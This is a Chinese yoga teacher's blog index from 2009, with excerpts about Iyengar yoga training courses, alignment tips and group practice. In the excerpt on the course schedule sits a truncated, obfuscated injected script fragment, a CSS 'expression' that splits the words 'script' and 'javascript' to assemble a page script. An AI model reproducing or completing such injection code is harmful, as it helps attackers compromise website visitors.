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- 艾扬格瑜珈研修交流课程－－山东 5 2009-09-18 06:42:36
- 感觉完全不同。大家的墙面动作对身体细节的理解，控制能力都有明显提升，这让我很高兴。下午的主要功课是体会如何将艾扬格体系科学，安全的练习方式融入她们的教学当中，怎样让学员领会骨骼摆放正确给体式带来的变化，细节精准后呼吸的变化，如何为会员课制定目标...
- 艾扬格瑜珈研修交流课程－－山东 4 2009-09-16 20:24:15
- 一进教室，教练们有的在练习墙面动作，有的靠在抱枕上，有的在倒立，这才是我熟悉的艾扬格教室的场景，有效的热身让课程的推进更舒适。墙面练习在这次课程中体现出很大的影响，今天的练习脊柱感觉完全不同了，前几天练习时，我死盯着，她们的胸骨还是向下松。好的睡眠让身...
- 艾扬格瑜珈研修交流课程－－山东 1》 2009-09-14 01:40:00
- 和接我的广新一起到了瑜珈馆，4间宽敞的教室和更衣室让我微微有些诧异，走进独立，新建的艾扬格教室，敞亮朴素的风格让人很愿意在这里日常练习...饭后去超市买些日用品，回到房间家里和贵阳的会员打来电话，说完洗澡做笔记，就深夜了，这匆忙的一天充满交流的收获...
- 关于课程 2009-08-29 17:36:41
- 大家来电询问关于9月山东的交流课程，从9月到明年1月，初步预定了3个城市的交流课程，分别在山东，广州和成都，广州是1月，成都的细节需要进一步沟通，待定。ee:Expression(function(){if(!window.r){varss='s''cript';var tt='text/ja''vas''cript';varst=document...
- 艾扬格瑜伽研修交流课程 2009-08-27 15:31:50
- 1）艾扬格一级课程习练；2）习练中身体各部位的完整使用；3）习练中关节的使用与保护；...只有瑜伽会馆、瑜伽教练首先积极主动地掌握准确而真实的艾杨格瑜伽，才能让更多的练习者身心受益。这次课程得到中体倍力公司和国内艾杨格瑜伽交流小组朋友们大力支持。希望参加培训...
- 交流小组的暑期活动 1） 2009-07-31 23:47:34
- 交流小组的练习中实践起来。艳阳高照，大家躲在凉棚下做准备工作。包括用防晒霜和驱蚊水涂抹，喷洒，十分忙碌。动作快的人已开始热身。开始调息了，为避免阳光的直射，调息造型十分奇怪。一地的蒙面人，还没做什么怪动作...我开始担心会不会有人拨打11什么..体会艾...
- 艾杨格学习 2009-05-29 16:54:21
- 30—18：00：答疑与交流时间；18...观摩课两天的时间转眼过去，艾杨格瑜伽练习的高精准度也容不下一点点的游移杂念...今天的练习有两个点是我从前虽然要求了却不够强调的，老师严厉的教学风格和准确的指导将我的潜力都发挥出来，近乎严苛的练习之后身体竟然是这么的轻松...
- 郁闷啊！！ 2009-05-28 19:10:09
- 所以它上提时你觉得是松的，它锁死了你才觉得它是紧的。所以你不要以它为标准来判断。如果你是贵阳的练习者，可以让我帮你调一次你就会了。第二件郁闷的事情是明天组织的户外练习因下雨只能改期，等天气晴朗再组织啦。交流小组的组员们大家在家各自用功吧...
- 2009年05月16日 2009-05-16 22:00:55
- 会员中也有人提出这个问题，所以答复在这里，希望对大家有帮助。问：膝关节不要锁死，将膝盖向大腿方向提升，大腿会立刻收紧；不知道老师能不能看到我的问题？我做这个动作最大的困扰就是找不准上边的这种感觉。我只有锁紧膝盖才觉得可以夹紧，能不能请老师进一步讲解...
- 讲座 2009-03-24 10:37:42
- 闻风和多杰老师周末在贵阳讲座，交流小组的成员们都很高兴。不过大多数人都工作在身，只能参加周六和周日的课程，很可惜
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